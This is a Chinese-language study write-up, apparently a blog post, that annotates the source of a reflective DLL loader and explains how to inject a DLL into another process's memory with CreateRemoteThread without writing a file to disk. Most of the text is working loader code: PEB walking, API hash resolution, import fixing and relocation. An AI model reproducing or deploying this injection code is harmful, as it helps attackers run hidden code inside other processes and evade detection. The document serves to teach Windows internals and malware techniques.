Dll反射式注入法-代码学习

原理

--------------------------------------------------------------------------------有任何错误,请留言指正。
主要功能:将需要注入的dll写入进程内存,用注射器实现LoadLibrary的功能,使用CreateRemoteThread函数将注射器启动。

  1. 将待注入DLL读入自身内存,Dll的导出注射器ReflectiveLoader
  2. 利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
  3. 利用CreateRemoteThread等函数启动位于目标进程中的ReflectiveLoader
    特点:避免文件落地

注射器代码解析

  1. 当前在内存中,获取images base address;
  2. 从当前进程中获取一些必要的函数地址:
    KERNEL32.DLL
    VirtualAlloc(用来为镜像要加载的地址分配空间)
    LoadLibraryA(加载导入表中的dll)
    GetProcAddress(获取dll中已知函数名称的函数地址)
    NTDLL.DLL
    NtFlushInstructionCache(刷新数据,让CPU执行新指令)
  3. 复制头部和区段
  4. 修改导入表中的IAT(导入地址表)
  5. 基址重定位
  6. 获取函数入口,并重定义函数入口

获取Dll起始位置

uiLibraryAddress = caller();
while (TRUE)
{
     
	if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
	{
     
        	//pe头偏移RVA
        	uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
	       	//判断PE头的正确性        
        	if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
        	{
     
        		//pe头在内存中的位置
        		uiHeaderValue += uiLibraryAddress;
        		//如果找到文件头就退出循环
        		if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
        			break;
        	}
	}     
	uiLibraryAddress--;
}

caller();的定义为:

__declspec(noinline) ULONG_PTR caller( VOID ) {
      return (ULONG_PTR)_ReturnAddress(); }

其中函数_ReturnAddress()返回的是当前调用函数的返回地址,也就是caller()的下一条指令的地址。
这个地址位于ReflectiveLoader的内部,即位于被注入的DLL文件内部,然后遍历查找PE文件头。

获取所需的API

首先,获取当前进程的基地址。
然后借助PEB (ProcessEnvironment Block)来查找kernel32.dll和ntdll.dll在内存中的位置。

#ifdef WIN_X64
	uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif

每一个线程都具有一个TEB结构,其中记录了相关线程的一些基本信息。线程运行时,其GS段寄存器记录了其TEB的位置。对于X64系统,寄存器位置gs:[0x60]中,存放的是PEB结构的地址。
在PEB结构的0x0C偏移处,是一个指向PEB_LDR_DATA结构体的指针。其中的三个LIST_ENTRY是三个链表,按照不同的顺序规则将当前进程加载的所有模块链接起来。
通过遍历其中的任意一个LIST_ENTRY,我们就可以获得所有模块的基地址,然后查找该模块中的导出表,就可以找到我们需要的函数当前地址。
需要用到的函数如下:
VirtualAlloc-用来为镜像要加载的地址分配空间
LoadLibraryA、GetProcAddress-处理导入表
NtFlushInstructionCache-刷新数据,让CPU执行新指令

//获取PEB_LDR_DATA structure结构指针,包含进程有关模块的信息
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
//获取模块目录的第一个入口
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
 {
     
 	//当前模块的名称
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	//名称长度
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	//计数
	uiValueC = 0;
	//计算HASH值
	do
	{
     
		uiValueC = ror( (DWORD)uiValueC );
		// normalize to uppercase if the madule name is in lowercase
		if( *((BYTE *)uiValueB) >= 'a' )
			uiValueC += *((BYTE *)uiValueB) - 0x20;
		else
			uiValueC += *((BYTE *)uiValueB);	
		uiValueB++;
	} while( --usCounter );

	//如果是kernel32.dll
	if( (DWORD)uiValueC == KERNEL32DLL_HASH )
	{
     
		//获取导出表,查找导出函数
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
		usCounter = 3;
		while( usCounter > 0 )
		{
     
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
			{
     
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
				if( dwHashValue == LOADLIBRARYA_HASH )
					pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == GETPROCADDRESS_HASH )
					pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				else if( dwHashValue == VIRTUALALLOC_HASH )
					pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
				usCounter--;
			}
			//获取下一个导出函数
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
	else if( (DWORD)uiValueC == NTDLLDLL_HASH )
	{
     
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
		uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
		uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
		uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
		usCounter = 1;
		while( usCounter > 0 )
		{
     
			dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
			if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
			{
     
				uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
				uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
					usCounter--;
			}
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
	四个函数都找完,则结束该循环
	if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
		break;
	//获取下一个入口
	uiValueA = DEREF( uiValueA );
}

复制PE头和各个区段

复制PE文件头部

//获取文件头
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//使用上一节获取的函数分配内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
//头部大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
//文件地址
uiValueB = uiLibraryAddress;
//内存地址
uiValueC = uiBaseAddress;
//将读取到的文件PE头复制到分配的内存中
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

下一段代码是复制各个区段

//获取第一个区段的地址和区段数
//可选头地址+可选头大小是第一个区段的位置
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
     
	//基地址+区段中存储的RVA,就是区段的虚拟地址,也就是内存中的地址
	uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
	//文件地址——区段中存储的Raw,就是区段的文件地址,也就是当前PE文件读取到内存中的位置
	uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
	//区段大小
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
	while( uiValueD-- )
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
	//获取下一个区段
	uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

修改导入表的IAT

被注入的DLL可能还依赖于其他的DLL,因此我们还需要装载这些被依赖的DLL,并修改本DLL的引入表,使这些被引入的函数能正常运行。
PE文件的导入表中存在两个表,导入表(INT,unbound IAT)和导入地址表(IAT)。在未导入时,两个表是一致的。当导入一个模块的时候,原始导入表INT存放的是原始数据,不会有变化;而导入地址表中存放的是该模块导入后,各个导入函数的实际函数地址。

//获取导入表
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
     
	//获取INT和IAT表,加载该模块
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
	uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
	uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
	while( DEREF(uiValueA) )
	{
     
		//判断是按序号导入
		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
		{
     
			//从加载的模块的导出表中查找该序号的函数
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
			uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
			//获取导出表中的函数地址表
			uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
			//获取函数地址表中存放的函数地址
			//函数序号-起始序号
			uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
			//写入到当前IAT中
			DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
		}
		else
		{
     
			//如果是按名字导入的,则直接使用函数GetProcAddress即可
			uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
		}
		//获取下一个需要修改IAT的位置
		uiValueA += sizeof( ULONG_PTR );
		if( uiValueD )
			uiValueD += sizeof( ULONG_PTR );
	}
	//获取下一个需要修改的导入模块
	uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

基址重定位

被注入的DLL只有其ReflectiveLoader中的代码使用全部都是局部变量,不需要重定位。其他部分的代码则需要经过重定位才能正确运行。幸运的是DLL文件提供了我们进行重定位所需的所有信息,这是因为每一个DLL都具有加载不到预定基地址的可能性,所以每一个DLL都对自身的重定位做好了准备。
基址重定位表的结构如下:

typedef struct _IMAGE_BASE_RELOCATION
{
     
    DWORD VirtualAddress;
    DWORD SizeOfBlock;
    WORD TypeOffset[1];
}IMAGE_BASE_RELOCATION;

IMAGE_BASE_RELOCATION之所以是一个数组,是因为每个IMAGE_BASE_RELOCATION只负责4KB大小分页内的重定位信息,换句话说PE文件中需要重定位的部分每隔0x1000字节就有一个IMAGE_BASE_RELOCATION负责。也因此结构中的VirtualAddress总是0x1000的倍数。基址重定位详细解释
在IMAGE_BASE_RELOCATION结构体的后面紧接着就是该页需要重定位所有TypeOffset:
TypeOffset低12位是需要重定位位置在该页内的偏移,所以只需要12位就足够了。
TypeOffset的高4位是重定位信息的类型,不同类型的修正方法不同。
事实上,Windows只用了一种类型IMAGE_REL_BASED_HIGHLOW ,Type是 3。
需要重定位的数据位置 = ImageBase + VirtualAddress + TypeOffset低12位

//获取基址重定位表
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
     
	//获取需要重构定位的那一页
	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
	while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
	{
     
		//判断获取需要重定位的页
		uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
		//需要重定位的个数=(该表的尺寸减去IMAGE_BASE_RELOCATION的结构体大小)/IMAGE_RELOC结构体的大小
		uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
		//获取需要重定位的Offset
		uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
		while( uiValueB-- )
		{
     
			if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
				//当前镜像地址+VA+Offset
				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
			else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
			//获取下一个重定位位置
			uiValueD += sizeof( IMAGE_RELOC );
		}
		//获取下一个重定位表
		uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
	}
}

获取函数入口

最后,将控制权转交给DLL文件的入口点,这个入口点可以通过NT可选印象头中的AddressOfEntryPoint找到。一般地,它会完成C运行库的初始化,执行一系列安全检查并调用dllmain。

//获取函数入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
//清除指令缓存以避免问题
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
	// if we are injecting an DLL via a stub we call DllMain with no parameter
	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );

至此,整个注射器任务就完成了,执行完这个函数之后,整个dll就会被加载到进程中。

注射器的使用

如何实现这个加载呢。

  1. 打开目标进程,提升当前进程权限
  2. 获取DLL中反射加载器函数的地址。
  3. 在目标进程中分配内存,将DLL写入缓冲区WriteProcessMemory。
  4. 创建远程线程CreateRemoteThread。

关于这一点,dll在编写过程中,需要将反射器函数导出,方便查找函数位置。
在创建远程线程时候,将反射器函数的地址作为线程起始点即可。

你可能感兴趣的:(windows基础)